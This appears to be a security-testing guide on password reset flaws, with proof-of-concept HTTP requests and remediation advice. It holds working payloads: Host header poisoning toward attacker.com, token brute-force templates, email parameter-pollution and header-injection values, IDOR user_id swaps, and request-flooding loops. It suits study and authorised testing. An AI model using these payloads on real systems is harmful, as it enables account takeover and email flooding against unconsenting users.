Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
10 KiB
Password Reset Vulnerabilities
Description
Password reset vulnerabilities occur when the password recovery mechanism is poorly implemented, allowing attackers to take over user accounts. These vulnerabilities are critical as they directly lead to account compromise without requiring the original password.
Common Vulnerabilities in Password Reset Flow
1. Token Prediction/Weak Token Generation
Reset tokens that are predictable or use weak randomness can be guessed or brute-forced.
2. Token Not Invalidated
Reset tokens that remain valid after use or after password change allow replay attacks.
3. No Rate Limiting
Lack of rate limiting allows attackers to brute-force reset tokens or flood users with reset emails.
4. Token Leakage
Tokens exposed in referrer headers, logs, or through other channels.
5. Host Header Injection
Manipulating the Host header to receive password reset links with attacker-controlled domains.
6. Parameter Pollution
Adding multiple email parameters to receive reset tokens for victim accounts.
7. Token Reuse
Tokens that don't expire or can be reused multiple times.
8. IDOR in Reset Flow
Manipulating user IDs or identifiers to reset other users' passwords.
9. Password Reset Poisoning
Injecting malicious URLs in password reset emails through header manipulation.
10. No Email Verification
System accepts password reset for any email without verification.
Common Attack Vectors
- Password reset forms
- Reset token generation endpoints
- Password change endpoints
- Reset link handling
- Email verification bypass
- Token validation endpoints
Testing Methodology & PoC Examples
PoC 1: Host Header Injection for Password Reset Poisoning
Vulnerability: Application uses Host header to generate password reset links.
Steps to Test:
- Intercept password reset request
- Manipulate the Host header
- Check if reset link contains attacker's domain
Request:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
email=victim@example.com
Expected Result: Victim receives email with reset link pointing to http://attacker.com/reset?token=...
Alternate Headers to Test:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
PoC 2: Password Reset Token Brute Force
Vulnerability: Weak or predictable reset tokens with no rate limiting.
Steps to Test:
- Request password reset for your test account
- Analyze the token format (numeric? alphanumeric? length?)
- Use automated tools to brute force tokens
- Check if rate limiting is enforced
Example Token Patterns to Test:
- 4-6 digit numeric codes:
0000to999999 - Short alphanumeric:
a1b2c3 - Predictable UUIDs or timestamps
- Sequential tokens
Burp Suite Intruder Payload:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=test@example.com&token=§000000§
PoC 3: Parameter Pollution to Hijack Reset Token
Vulnerability: Application sends reset token to both victim and attacker when multiple email parameters are provided.
Steps to Test:
- Intercept password reset request
- Add additional email parameter with attacker's email
- Check if both emails receive reset tokens
Request:
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com&email=attacker@example.com
Alternative Formats:
email=victim@example.com,attacker@example.com
email[]=victim@example.com&email[]=attacker@example.com
email=victim@example.com%20attacker@example.com
email=victim@example.com%0Acc:attacker@example.com
PoC 4: Token Not Invalidated After Use
Vulnerability: Reset tokens remain valid after password has been changed.
Steps to Test:
- Request password reset for your test account
- Receive reset token via email
- Use token to reset password
- Try using the same token again
- Token should be rejected but if it works, vulnerability exists
Request:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
token=abc123xyz&new_password=NewPassword123&confirm_password=NewPassword123
PoC 5: IDOR in Password Reset
Vulnerability: User ID or identifier can be manipulated to reset other users' passwords.
Steps to Test:
- Request password reset for your account
- Intercept the reset confirmation request
- Change user_id or identifier to another user
- Complete password reset
Request:
POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json
{
"user_id": "1234",
"token": "valid_token",
"new_password": "NewPassword123"
}
Change to:
{
"user_id": "5678",
"token": "valid_token",
"new_password": "NewPassword123"
}
PoC 6: No Rate Limiting on Reset Requests
Vulnerability: Application allows unlimited password reset requests.
Steps to Test:
- Send 100+ password reset requests for the same email
- Check if all requests are processed
- Check victim's email inbox for spam
Automated Test:
for i in {1..100}; do
curl -X POST https://example.com/forgot-password \
-d "email=victim@example.com"
done
Impact: Email flooding, denial of service, token brute force enablement
PoC 7: Token Exposed in Referer Header
Vulnerability: Reset token in URL is leaked via Referer header.
Steps to Test:
- Receive password reset email with token in URL
- Click the reset link
- On the reset page, click any external link
- Check if Referer header contains the reset token
Example:
Reset URL: https://example.com/reset?token=abc123xyz
User clicks external link to: https://attacker.com/page
Referer: https://example.com/reset?token=abc123xyz
Fix: Use POST method or store token in session, not URL
PoC 8: Response Manipulation to Bypass Verification
Vulnerability: Client-side validation or response manipulation allows password reset.
Steps to Test:
- Request password reset with invalid token
- Intercept server response
- Change error response to success response
- Check if password is actually reset
Original Response:
{
"status": "error",
"message": "Invalid token",
"valid": false
}
Modified Response:
{
"status": "success",
"message": "Token valid",
"valid": true
}
PoC 9: Token in Password Reset Link Never Expires
Vulnerability: Reset tokens have no expiration time.
Steps to Test:
- Request password reset
- Save the reset link
- Wait 24-48 hours (or longer)
- Try using the old reset link
- If it works, tokens don't expire
Best Practice: Tokens should expire in 15-30 minutes
PoC 10: Password Reset via Username Instead of Email
Vulnerability: System allows password reset using username enumeration.
Steps to Test:
- Try resetting password using username instead of email
- Observe different responses for valid vs invalid usernames
- Enumerate valid usernames
Request:
POST /forgot-password HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin
Response Analysis:
- Valid user: "Reset link sent"
- Invalid user: "User not found"
PoC 11: Weak Cryptographic Token Generation
Vulnerability: Predictable tokens due to weak randomness.
Steps to Test:
- Request multiple password reset tokens
- Analyze patterns in tokens
- Check if tokens are based on:
- Current timestamp
- User ID
- Sequential numbers
- Weak hash functions (MD5 of predictable data)
Example Weak Token:
Token: md5(user_id + timestamp)
If user_id=1000 and you know approximate time, token is predictable
PoC 12: Authentication Bypass via Password Reset
Vulnerability: Password reset endpoint doesn't require current password.
Steps to Test:
- While logged in to your account
- Request password reset
- Complete reset without providing current password
- Check if 2FA or additional verification is bypassed
Tools for Testing
Burp Suite
- Intruder for token brute forcing
- Repeater for parameter manipulation
- Scanner for automated detection
Custom Scripts
import requests
# Test for rate limiting
for i in range(100):
response = requests.post(
'https://example.com/forgot-password',
data={'email': 'victim@example.com'}
)
print(f"Request {i}: {response.status_code}")
Token Analysis
# Analyze token entropy and patterns
tokens = [
'abc123',
'abc124',
'abc125'
]
# Check for sequential patterns, low entropy, predictability
Exploitation Impact
- High: Direct account takeover
- Critical: If admin accounts can be compromised
- Data Breach: Access to sensitive user data
- Reputation Damage: Loss of user trust
Remediation
-
Use Cryptographically Secure Random Tokens
- Minimum 32 characters
- Use
crypto.randomBytes()or equivalent
-
Implement Token Expiration
- 15-30 minutes validity
- One-time use only
-
Rate Limiting
- Limit reset requests per email/IP
- Implement CAPTCHA after multiple attempts
-
Invalidate Old Tokens
- After password change
- After successful use
- After expiration time
-
Use POST Method
- Never put tokens in URL/GET parameters
- Prevent Referer leakage
-
Validate Host Header
- Whitelist allowed domains
- Don't use Host header in email generation
-
Implement Proper Email Verification
- Confirm email ownership
- Send notifications for reset attempts
-
Multi-Factor Authentication
- Require additional verification
- SMS/App-based OTP
-
Account Lockout
- Temporary lock after multiple failed attempts
- Notify user of suspicious activity
-
Security Logging
- Log all reset attempts
- Monitor for abuse patterns
- Alert on suspicious behavior
References
Payloads
See password-reset-payloads.txt for a comprehensive list of password reset attack payloads.